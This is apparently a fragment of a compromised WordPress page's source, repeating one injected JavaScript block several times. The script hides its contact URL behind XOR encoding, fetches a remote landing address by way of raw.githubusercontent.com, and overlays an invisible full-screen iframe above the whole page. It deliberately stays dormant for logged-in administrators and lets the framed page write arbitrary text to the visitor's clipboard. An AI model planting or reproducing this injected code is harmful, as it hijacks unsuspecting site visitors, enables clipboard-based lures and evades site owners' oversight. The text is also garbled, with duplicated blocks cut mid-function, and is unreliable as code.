(e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";<\/p>\n<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };<\/p>\n<p>  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;<\/p>\n<p>      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;<\/p>\n<p>      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;<\/p>\n<p>      var de = document.documentElement;\n      var body = document.body;<\/p>\n<p>      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}<\/p>\n<p>    return false;\n  }<\/p>\n<p>  if (isWpLoggedInContext()) return;<\/p>\n<p>  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }<\/p>\n<p>  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }<\/p>\n<p>  registry.status = \"loading\";<\/p>\n<p>  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }<\/p>\n<p>  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";<\/p>\n<p>    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }<\/p>\n<p>    var encoded = encodeURIComponent(id);<\/p>\n<p>    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }<\/p>\n<p>    return template.replace(\/\\{id\\}\/g, encoded);\n  }<\/p>\n<p>  function toHttpUrl(value) {\n    if (!value) return \"\";<\/p>\n<p>    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");<\/p>\n<p>    if (!s) return \"\";<\/p>\n<p>    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }<\/p>\n<p>    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";<\/p>\n<p>    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }<\/p>\n<p>    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";<\/p>\n<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };<\/p>\n<p>  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;<\/p>\n<p>      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;<\/p>\n<p>      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;<\/p>\n<p>      var de = document.documentElement;\n      var body = document.body;<\/p>\n<p>      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}<\/p>\n<p>    return false;\n  }<\/p>\n<p>  if (isWpLoggedInContext()) return;<\/p>\n<p>  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }<\/p>\n<p>  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }<\/p>\n<p>  registry.status = \"loading\";<\/p>\n<p>  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }<\/p>\n<p>  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";<\/p>\n<p>    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }<\/p>\n<p>    var encoded = encodeURIComponent(id);<\/p>\n<p>    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }<\/p>\n<p>    return template.replace(\/\\{id\\}\/g, encoded);\n  }<\/p>\n<p>  function toHttpUrl(value) {\n    if (!value) return \"\";<\/p>\n<p>    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");<\/p>\n<p>    if (!s) return \"\";<\/p>\n<p>    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }<\/p>\n<p>    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";<\/p>\n<p>    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }<\/p>\n<p>    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        